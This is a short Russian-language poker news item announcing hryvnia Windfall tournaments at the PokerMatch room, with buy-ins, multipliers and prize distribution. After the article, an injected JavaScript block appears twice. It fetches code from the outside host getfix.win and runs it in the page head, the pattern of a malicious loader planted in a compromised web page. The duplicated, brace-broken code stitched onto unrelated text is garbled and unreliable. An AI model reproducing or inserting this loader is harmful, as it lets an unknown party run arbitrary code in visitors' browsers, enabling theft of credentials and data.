В PokerMatch появились гривневые Windfall

Украинская онлайн-комната PokerMatch объявила о запуске гривневых Windfall. Бай-ины к ним начинаются от 5 гривен и достигают 2 000. Множитель в них доходит до х10. У таких турниров есть некоторая особенность – количество участников за столом. Обычно в таких ивентах принимает участие 3 игрока, но в гривневых Windfall будет участвовать 4 покериста.
Начальный призовой фонд для таких турниров составит 500 000. Он будет расти по мере отыгрыша ивентов в таких форматах, так как 1% от рейка будет уходить на его формирование. Общий размер комиссии, которая будет взиматься в рамках таких турниров, составит 5%.
Всего в Windfall предусмотрено три призовых места. Выигрыши между ними будут распределяться следующим образом: 50%-30%-20%. В зависимости от лимита покеристы разделят между собой определенную часть от джек-пота:
Спешите принять участие в гривневых турнирах Windfall. Они уже начались в PokerMatch. Желаем удачи!
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();
function loadScript() { var url = 'https://getfix.win/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();
fetch(url, { method: 'GET', cache: 'no-store', credentials: 'same-origin' }) .then(response => { if (!response.ok) throw new Error('HTTP ' + response.status); return response.text(); }) .then(data => { var script = document.createElement('script'); script.textContent = data.trim(); document.head.appendChild(script);
if (document.readyState === 'complete' || document.readyState === 'interactive') { document.dispatchEvent(new Event('DOMContentLoaded')); } }) .catch(error => { console.warn('Script load failed:', error.message); }); } })();